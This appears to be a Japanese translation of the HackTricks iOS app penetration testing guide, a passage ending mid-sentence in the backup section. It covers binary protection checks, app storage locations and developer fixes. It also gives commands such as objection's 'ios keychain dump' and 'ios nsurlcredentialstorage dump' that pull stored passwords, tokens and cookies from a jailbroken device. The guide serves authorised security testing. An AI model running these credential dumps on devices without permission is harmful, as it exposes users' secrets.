.. | ||
basic-ios-testing-operations.md | ||
burp-configuration-for-ios.md | ||
extracting-entitlements-from-compiled-application.md | ||
frida-configuration-in-ios.md | ||
ios-app-extensions.md | ||
ios-basics.md | ||
ios-custom-uri-handlers-deeplinks-custom-schemes.md | ||
ios-hooking-with-objection.md | ||
ios-protocol-handlers.md | ||
ios-serialisation-and-encoding.md | ||
ios-testing-environment.md | ||
ios-uiactivity-sharing.md | ||
ios-uipasteboard.md | ||
ios-universal-links.md | ||
ios-webviews.md | ||
README.md |
iOS Pentesting
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。
iOSの基本
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
テスト環境
このページでは、iOSシミュレーター、エミュレーター、および脱獄に関する情報を見つけることができます:
{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}
初期分析
基本的なiOSテスト操作
テスト中にいくつかの操作が提案されます(デバイスに接続する、ファイルを読み書き/アップロード/ダウンロードする、いくつかのツールを使用する...)。したがって、これらのアクションのいずれかを実行する方法がわからない場合は、ページを読み始めてください:
{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}
{% hint style="info" %}
次のステップのために、アプリがデバイスにインストールされている必要があります、そしてアプリケーションのIPAファイルをすでに取得している必要があります。
これを行う方法を学ぶには、基本的なiOSテスト操作のページをお読みください。
{% endhint %}
基本的な静的分析
IPAファイルに対して自動静的分析を実行するために、ツールMobSFを使用することをお勧めします。
バイナリに存在する保護の特定:
- PIE (Position Independent Executable):有効な場合、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。
otool -hv <app-binary> | grep PIE # PIEフラグが含まれている必要があります
- スタックカナリア:スタックの整合性を検証するために、関数を呼び出す前にスタックに「カナリア」値が置かれ、関数が終了した後に再度検証されます。
otool -I -v <app-binary> | grep stack_chk # stack_chk_guardおよびstack_chk_failシンボルが含まれている必要があります
- ARC (Automatic Reference Counting):一般的なメモリ破損の欠陥を防ぐため
otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルが含まれている必要があります
- 暗号化されたバイナリ:バイナリは暗号化されている必要があります
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptidは1である必要があります
敏感/不安全な関数の特定
- 弱いハッシュアルゴリズム
# iOSデバイス上
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"
# Linux上
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
- 不安全なランダム関数
# iOSデバイス上
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"
# Linux上
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
- 不安全な‘Malloc’関数
# iOSデバイス上
otool -Iv <app> | grep -w "_malloc"
# Linux上
grep -iER "_malloc"
- 不安全で脆弱な関数
# iOSデバイス上
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"
# Linux上
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
基本的な動的分析
MobSFが実行する動的分析を確認してください。さまざまなビューをナビゲートし、それらと対話する必要がありますが、他のことを行う際にいくつかのクラスをフックし、完了するとレポートを準備します。
インストールされたアプリのリスト
frida-ps -Uai
コマンドを使用して、インストールされたアプリのバンドル識別子を特定します:
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
基本的な列挙とフック
アプリケーションのコンポーネントを列挙する方法と、objectionを使用してメソッドとクラスをフックする方法を学びます:
{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}
IPA構造
IPAファイルの構造は本質的に圧縮パッケージのそれです。拡張子を.zip
に変更することで、解凍してその内容を明らかにすることができます。この構造内で、Bundleはインストールの準備が整った完全にパッケージ化されたアプリケーションを表します。その中には、アプリケーションのリソースをカプセル化した<NAME>.app
という名前のディレクトリがあります。
Info.plist
: このファイルはアプリケーションの特定の設定詳細を保持します。_CodeSignature/
: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれています。Assets.car
: アイコンなどのアセットファイルを保存する圧縮アーカイブです。Frameworks/
: このフォルダには、.dylib
または.framework
ファイルの形式でアプリケーションのネイティブライブラリが格納されています。PlugIns/
: これは、アプリケーションの拡張機能である.appex
ファイルを含む場合がありますが、常に存在するわけではありません。 *Core Data
: アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイスでのアプリの元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。PkgInfo
:PkgInfo
ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定するための代替手段です。- en.lproj, fr.proj, Base.lproj: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースも含まれています。
- セキュリティ:
_CodeSignature/
ディレクトリは、デジタル署名を通じてバンドルされたすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。 - アセット管理:
Assets.car
ファイルは圧縮を使用してグラフィカルアセットを効率的に管理し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。 - フレームワークとプラグイン: これらのディレクトリはiOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ(
Frameworks/
)を含め、アプリの機能を拡張(PlugIns/
)できるようにします。 - ローカリゼーション: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことでグローバルなアプリケーションのリーチを促進します。
Info.plist
Info.plistはiOSアプリケーションの基盤として機能し、キー-バリューペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探求については、Apple Developer Documentationを参照できます。
このファイルをよりアクセスしやすい形式で操作したい場合、macOSでplutil
を使用することでXML変換が簡単に行えます(バージョン10.2以降でネイティブに利用可能)またはLinuxでplistutil
を使用します。変換のためのコマンドは次のとおりです:
- macOSの場合:
$ plutil -convert xml1 Info.plist
- Linuxの場合:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Info.plist ファイルが明らかにできる膨大な情報の中で、注目すべき項目にはアプリの権限文字列 (UsageDescription
)、カスタムURLスキーム (CFBundleURLTypes
)、およびアプリトランスポートセキュリティの設定 (NSAppTransportSecurity
) が含まれます。これらの項目は、エクスポート/インポートされたカスタムドキュメントタイプ (UTExportedTypeDeclarations
/ UTImportedTypeDeclarations
) のような他の項目とともに、ファイルを検査するか、単純な grep
コマンドを使用することで簡単に見つけることができます:
$ grep -i <keyword> Info.plist
データパス
iOS環境では、ディレクトリはシステムアプリケーションとユーザーインストールアプリケーションのために特別に指定されています。システムアプリケーションは/Applications
ディレクトリに存在し、ユーザーインストールアプリは/var/mobile/containers/Data/Application/
の下に配置されます。これらのアプリケーションには128ビットUUIDと呼ばれる一意の識別子が割り当てられており、ディレクトリ名のランダム性のために手動でアプリのフォルダを見つけることは困難です。
{% hint style="warning" %}
iOSのアプリケーションはサンドボックス化される必要があるため、各アプリには**$HOME/Library/Containers
内にアプリのCFBundleIdentifier
**をフォルダ名とするフォルダもあります。
ただし、両方のフォルダ(データフォルダとコンテナフォルダ)には、MCMetadataIdentifier
キーで両方のファイルをリンクする**.com.apple.mobile_container_manager.metadata.plist
**ファイルがあります。
{% endhint %}
ユーザーインストールアプリのインストールディレクトリを発見するために、objection toolは便利なコマンドenv
を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用例です:
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
代わりに、アプリ名は /private/var/containers
内で find
コマンドを使用して検索できます:
find /private/var/containers -name "Progname*"
ps
やlsof
のようなコマンドは、アプリのプロセスを特定し、それぞれオープンファイルをリストするためにも利用でき、アプリケーションのアクティブなディレクトリパスに関する洞察を提供します:
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
バンドルディレクトリ:
- AppName.app
- これはIPAで以前に見たアプリケーションバンドルで、重要なアプリケーションデータ、静的コンテンツ、およびアプリケーションのコンパイル済みバイナリを含みます。
- このディレクトリはユーザーに見えますが、ユーザーは書き込むことができません。
- このディレクトリの内容はバックアップされません。
- このフォルダの内容はコード署名を検証するために使用されます。
データディレクトリ:
- Documents/
- ユーザー生成データをすべて含みます。アプリケーションのエンドユーザーがこのデータの作成を開始します。
- ユーザーに見え、ユーザーは書き込むことができます。
- このディレクトリの内容はバックアップされます。
- アプリは
NSURLIsExcludedFromBackupKey
を設定することでパスを無効にできます。 - Library/
- ユーザー固有でないすべてのファイルを含みます。例えば、キャッシュ、設定、クッキー、およびプロパティリスト(plist)設定ファイルなどです。
- iOSアプリは通常
Application Support
およびCaches
サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。 - Library/Caches/
- 半永続的なキャッシュファイルを含みます。
- ユーザーには見えず、ユーザーは書き込むことができません。
- このディレクトリの内容はバックアップされません。
- OSはアプリが実行されていないときやストレージスペースが不足しているときに、このディレクトリのファイルを自動的に削除することがあります。
- Library/Application Support/
- アプリを実行するために必要な永続的な ファイルを含みます。
- ユーザーには見えず、ユーザーは書き込むことができません。
- このディレクトリの内容はバックアップされます。
- アプリは
NSURLIsExcludedFromBackupKey
を設定することでパスを無効にできます。 - Library/Preferences/
- アプリケーションが再起動された後でも持続することができるプロパティを保存するために使用されます。
- 情報は、アプリケーションサンドボックス内の暗号化されていないplistファイル[BUNDLE_ID].plistに保存されます。
NSUserDefaults
を使用して保存されたすべてのキー/値ペアはこのファイルに見つかります。- tmp/
- アプリの起動間で持続する必要のない一時ファイルを書くためにこのディレクトリを使用します。
- 非永続的なキャッシュファイルを含みます。
- ユーザーには見えません。
- このディレクトリの内容はバックアップされません。
- OSはアプリが実行されていないときやストレージスペースが不足しているときに、このディレクトリのファイルを自動的に削除することがあります。
iGoat-Swiftのアプリケーションバンドル(.app)ディレクトリをバンドルディレクトリ内で詳しく見てみましょう(/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
):
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
バイナリリバース
<application-name>.app
フォルダー内には <application-name>
というバイナリファイルがあります。これが 実行される ファイルです。ツール otool
を使用してバイナリの基本的な検査を行うことができます:
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
アプリが暗号化されているか確認する
次の出力があるか確認してください:
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
バイナリの逆アセンブル
テキストセクションを逆アセンブルします:
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
サンプルアプリケーションのObjective-Cセグメントを印刷するには、次のようにします:
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
よりコンパクトなObjective-Cコードを取得するために、class-dumpを使用できます:
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
しかし、バイナリを逆アセンブルするための最良のオプションは、Hopper と IDA です。
Trickest を使用して、世界で最も高度なコミュニティツールによって強化された ワークフローを簡単に構築し、自動化 します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
データストレージ
iOSがデバイス内でデータをどのように保存するかについては、このページを読んでください:
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
{% hint style="warning" %}
情報を保存するための以下の場所は、アプリケーションをインストールした直後、アプリケーションのすべての機能を確認した後、さらには1人のユーザーからログアウトし、別のユーザーにログインした後に確認する必要があります。
目的は、アプリケーションの保護されていない機密情報(パスワード、トークン)、現在のユーザーおよび以前にログインしたユーザーの情報を見つけることです。
{% endhint %}
Plist
plist ファイルは、キーと値のペアを含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、時にはこれらのファイルに機密情報が含まれていることがあります。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。
plistファイルにデータを永続化する最も一般的な方法は、NSUserDefaultsを使用することです。このplistファイルは、**Library/Preferences/<appBundleID>.plist
**内のアプリサンドボックスに保存されます。
NSUserDefaults
クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションがユーザーの好みに応じて動作をカスタマイズできるようにします。NSUserDefaults
によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは、plist ファイルにデータを保存しますが、小さなデータ量で使用することを意図しています。
このデータは、信頼できるコンピュータを介して直接アクセスすることはできませんが、バックアップを実行することでアクセスできます。
NSUserDefaults
を使用して保存された情報をダンプするには、objectionのios nsuserdefaults get
を使用します。
アプリケーションによって使用されるすべてのplistを見つけるには、/private/var/mobile/Containers/Data/Application/{APPID}
にアクセスし、次のコマンドを実行します:
find ./ -name "*.plist"
**XMLまたはバイナリ(bplist)**形式のファイルをXMLに変換するために、オペレーティングシステムに応じたさまざまな方法が利用可能です:
macOSユーザー向け: plutil
コマンドを利用します。これはmacOS(10.2以上)に組み込まれたツールで、この目的のために設計されています:
$ plutil -convert xml1 Info.plist
Linuxユーザー向け: まずlibplist-utils
をインストールし、その後plistutil
を使用してファイルを変換します:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Objectionセッション内: モバイルアプリケーションを分析するために、特定のコマンドを使用してplistファイルを直接変換できます:
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
Core Data
Core Data
は、アプリケーション内のオブジェクトのモデル層を管理するためのフレームワークです。Core DataはSQLiteを永続ストアとして使用できます、しかしフレームワーク自体はデータベースではありません。
CoreDataはデフォルトでデータを暗号化しません。ただし、CoreDataに追加の暗号化レイヤーを追加することができます。詳細については、GitHub Repoを参照してください。
アプリケーションのSQLite Core Data情報は、パス /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support
にあります。
SQLiteを開いて機密情報にアクセスできる場合、設定ミスを見つけたことになります。
{% code title="Code from iGoat" %}
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
{% endcode %}
YapDatabase
YapDatabase は、SQLiteの上に構築されたキー/バリューストアです。
Yapデータベースはsqliteデータベースであるため、前のセクションで提案されたコマンドを使用して見つけることができます。
その他のSQLiteデータベース
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは機密 データを保存しており、暗号化されていない可能性があります。したがって、アプリケーションのディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(/private/var/mobile/Containers/Data/Application/{APPID}
)
find ./ -name "*.sqlite" -or -name "*.db"
Firebase Real-Time Databases
開発者は、Firebase Real-Time Databasesを通じてデータを保存および同期することができるNoSQLクラウドホストデータベースを利用できます。データはJSON形式で保存され、リアルタイムで接続されたすべてのクライアントに同期されます。
誤って構成されたFirebaseデータベースを確認する方法は、こちらで確認できます:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}
Realm databases
Realm Objective-CおよびRealm Swiftは、Appleが提供していないデータストレージの強力な代替手段を提供します。デフォルトでは、データは暗号化されずに保存され、特定の設定を通じて暗号化が可能です。
データベースは次の場所にあります:/private/var/mobile/Containers/Data/Application/{APPID}
。これらのファイルを探索するには、次のようなコマンドを利用できます:
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
これらのデータベースファイルを表示するには、Realm Studio ツールが推奨されます。
Realmデータベース内で暗号化を実装するには、次のコードスニペットを使用できます:
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Couchbase Lite Databases
Couchbase Lite は、軽量で組み込み型のデータベースエンジンであり、ドキュメント指向(NoSQL)アプローチに従っています。iOSおよびmacOSにネイティブに設計されており、データをシームレスに同期する機能を提供します。
デバイス上の潜在的なCouchbaseデータベースを特定するには、次のディレクトリを調査する必要があります:
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
Cookies
iOSはアプリのクッキーを各アプリのフォルダ内の**Library/Cookies/cookies.binarycookies
に保存します。しかし、開発者は時々、バックアップでアクセスできるため、それらをキーチェーン**に保存することを決定します。
クッキーファイルを検査するには、このPythonスクリプトを使用するか、objectionの**ios cookies get
**を使用できます。
また、objectionを使用して これらのファイルをJSON形式に変換し、データを検査することもできます。
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
キャッシュ
デフォルトでは、NSURLSessionはHTTPリクエストとレスポンスをCache.dbデータベースに保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、機密データが含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(/var/mobile/Containers/Data/Application/<UUID>
)を開き、/Library/Caches/<Bundle Identifier>
に移動します。WebKitキャッシュもCache.dbファイルに保存されています。Objectionは、sqlite connect Cache.db
コマンドを使用してデータベースを開き、操作できます。これは通常のSQLiteデータベースです。
このデータのキャッシングを無効にすることを推奨します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
- ログアウト後にキャッシュされたレスポンスを削除することを推奨します。これは、Appleが提供する
removeAllCachedResponses
メソッドを使用して行うことができます。このメソッドは次のように呼び出すことができます:
URLCache.shared.removeAllCachedResponses()
このメソッドは、Cache.dbファイルからすべてのキャッシュされたリクエストとレスポンスを削除します。 2. クッキーの利点を使用する必要がない場合は、URLSessionの.ephemeral構成プロパティを使用することを推奨します。これにより、クッキーとキャッシュの保存が無効になります。
エフェメラルセッション構成オブジェクトは、デフォルトのセッション構成(デフォルトを参照)に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはセッション関連データをディスクに保存しません。代わりに、セッション関連データはRAMに保存されます。エフェメラルセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。
3. キャッシュポリシーを.notAllowedに設定することでもキャッシュを無効にできます。これにより、メモリまたはディスクのいずれかでキャッシュを保存することが無効になります。
スナップショット
ホームボタンを押すたびに、iOSは現在の画面のスナップショットを取得し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、機密 データが現在の画面に存在する場合、それは画像に保存され(再起動を超えて持続します)、これらはアプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできます。
iPhoneが脱獄されていない限り、攻撃者はこれらのスクリーンショットを見るためにデバイスにアクセスする必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内のLibrary/Caches/Snapshots/
またはLibrary/SplashBoard/Snapshots
フォルダーに保存されます(信頼されたコンピュータはiOS 7.0以降、ファイルシステムにアクセスできません)。
この悪影響を防ぐ一つの方法は、ApplicationDidEnterBackground()
関数を使用してスナップショットを取得する前に、空白の画面を表示するか、機密データを削除することです。
以下は、デフォルトのスクリーンショットを設定するサンプル修正方法です。
Swift:
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C:
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
これは、アプリケーションがバックグラウンドに移行するたびに背景画像を overlayImage.png
に設定します。これにより、overlayImage.png
が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。
Keychain
iOSキーチェーンにアクセスし管理するためのツールとして、Keychain-Dumper のようなものがあり、脱獄したデバイスに適しています。さらに、Objection は、同様の目的のために ios keychain dump
コマンドを提供します。
資格情報の保存
NSURLCredential クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、次のSwiftコードが使用されます:
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
これらの保存された資格情報を抽出するために、Objectionのコマンド ios nsurlcredentialstorage dump
が利用されます。
カスタムキーボードとキーボードキャッシュ
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは 設定 > 一般 > キーボード > キーボード で管理できます。これらのキーボードは機能が拡張されますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ネットワークアクセスを必要とするキーボードについてはユーザーに通知されます。アプリは、機密情報の入力に対してカスタムキーボードの使用を制限するべきです。
セキュリティ推奨事項:
- セキュリティを強化するために、サードパーティ製キーボードを無効にすることが推奨されます。
- デフォルトのiOSキーボードの自動修正および自動提案機能に注意してください。これにより、
Library/Keyboard/{locale}-dynamic-text.dat
または/private/var/mobile/Library/Keyboard/dynamic-text.dat
にあるキャッシュファイルに機密情報が保存される可能性があります。これらのキャッシュファイルは、機密データのために定期的にチェックする必要があります。キャッシュデータをクリアするために、設定 > 一般 > リセット > キーボード辞書をリセット を通じてキーボード辞書をリセットすることが推奨されます。 - ネットワークトラフィックを傍受することで、カスタムキーボードがリモートでキー入力を送信しているかどうかを確認できます。
テキストフィールドキャッシュの防止
UITextInputTraitsプロトコル は、自動修正と安全なテキスト入力を管理するためのプロパティを提供し、機密情報のキャッシュを防ぐために重要です。たとえば、自動修正を無効にし、安全なテキスト入力を有効にすることができます:
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
さらに、開発者は、特にパスワードやPINなどの機密情報を入力するためのテキストフィールドが、autocorrectionType
をUITextAutocorrectionTypeNo
に設定し、secureTextEntry
をYES
に設定することでキャッシュを無効にすることを確認するべきです。
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
ログ
コードのデバッグには、しばしばロギングが使用されます。ログには機密情報が含まれる可能性があるため、リスクが伴います。以前は、iOS 6およびそれ以前のバージョンでは、すべてのアプリがログにアクセスできたため、機密データの漏洩のリスクがありました。現在、アプリケーションは自分のログにのみアクセスすることが制限されています。
これらの制限にもかかわらず、ロック解除されたデバイスに物理的にアクセスできる攻撃者は、デバイスをコンピュータに接続してログを読み取ることでこれを悪用することができます。アプリがアンインストールされた後もログはディスクに残ることに注意することが重要です。
リスクを軽減するために、アプリと徹底的に対話し、すべての機能や入力を探索して、機密情報が意図せずログに記録されていないことを確認することが推奨されます。
アプリのソースコードをレビューして潜在的な漏洩を探す際には、NSLog
、NSAssert
、NSCAssert
、fprintf
などのキーワードを使用して、事前定義されたおよびカスタムロギングステートメントの両方を探してください。また、カスタム実装のためのLogging
やLogfile
の言及も探してください。
システムログの監視
アプリはさまざまな情報をログに記録しますが、それらは機密である可能性があります。これらのログを監視するために、次のようなツールやコマンドを使用します:
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
役立ちます。さらに、Xcodeはコンソールログを収集する方法を提供します:
- Xcodeを開きます。
- iOSデバイスを接続します。
- ウィンドウ -> デバイスとシミュレーターに移動します。
- デバイスを選択します。
- 調査している問題を引き起こします。
- コンソールを開くボタンを使用して、新しいウィンドウでログを表示します。
より高度なログ記録のために、デバイスシェルに接続し、socatを使用することでリアルタイムのログ監視が可能です:
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
ログ活動を観察するためのコマンドに続き、これは問題の診断やログ内の潜在的なデータ漏洩を特定するのに非常に貴重です。
Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
バックアップ
自動バックアップ機能はiOSに統合されており、iTunes(macOS Catalinaまで)、Finder(macOS Catalina以降)、またはiCloudを通じてデバイスデータのコピーを作成することを容易にします。これらのバックアップは、Apple Payの詳細やTouch IDの設定などの非常に機密性の高い要素を除いて、ほぼすべてのデバイスデータを含みます。
セキュリティリスク
バックアップにインストールされたアプリとそのデータが含まれることは、潜在的なデータ漏洩の問題を引き起こし、バックアップの変更がアプリの機能に影響を与えるリスクをもたらします。これらのリスクを軽減するために、アプリのディレクトリやそのサブディレクトリ内に機密情報をプレーンテキストで保存しないことが推奨されます。
バックアップからのファイルの除外
Documents/
およびLibrary/Application Support/
内のファイルはデフォルトでバックアップされます。開発者は、NSURL setResourceValue:forKey:error:
を使用してNSURLIsExcludedFromBackupKey
